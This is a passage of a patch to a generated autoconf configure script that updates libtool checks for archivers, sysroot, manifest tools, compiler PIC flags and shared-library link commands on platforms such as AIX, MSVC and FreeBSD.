-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-+
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-+
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-+
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-+
-+
-+
-+
-+
-
-
- if test -n "$ac_tool_prefix"; then
-@@ -7528,8 +7846,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -7565,6 +7883,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -7606,6 +7925,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -7617,7 +7948,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -7643,8 +7974,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7654,8 +7985,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -7692,6 +8023,19 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-+
-+
-+
-
-
-
-@@ -7708,6 +8052,42 @@ fi
-
-
-
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7919,6 +8299,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -8482,6 +8979,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -8550,6 +9049,16 @@ done
-
-
-
-+func_stripname_cnf ()
-+{
-+ case ${2} in
-+ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-+ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-+ esac
-+} # func_stripname_cnf
-+
-+
-+
-
-
- # Set options
-@@ -8678,7 +9187,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8767,7 +9277,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -9065,8 +9575,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -9232,6 +9740,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -9294,7 +9808,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -9351,13 +9865,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -9418,6 +9936,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -9768,7 +10291,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9867,12 +10391,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9886,8 +10410,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9905,8 +10429,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9952,8 +10476,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -10083,7 +10607,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -10096,22 +10626,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -10123,7 +10660,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -10136,22 +10679,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -10195,21 +10745,64 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
-- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ # no search path for DLLs.
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -10270,7 +10863,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -10278,7 +10871,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
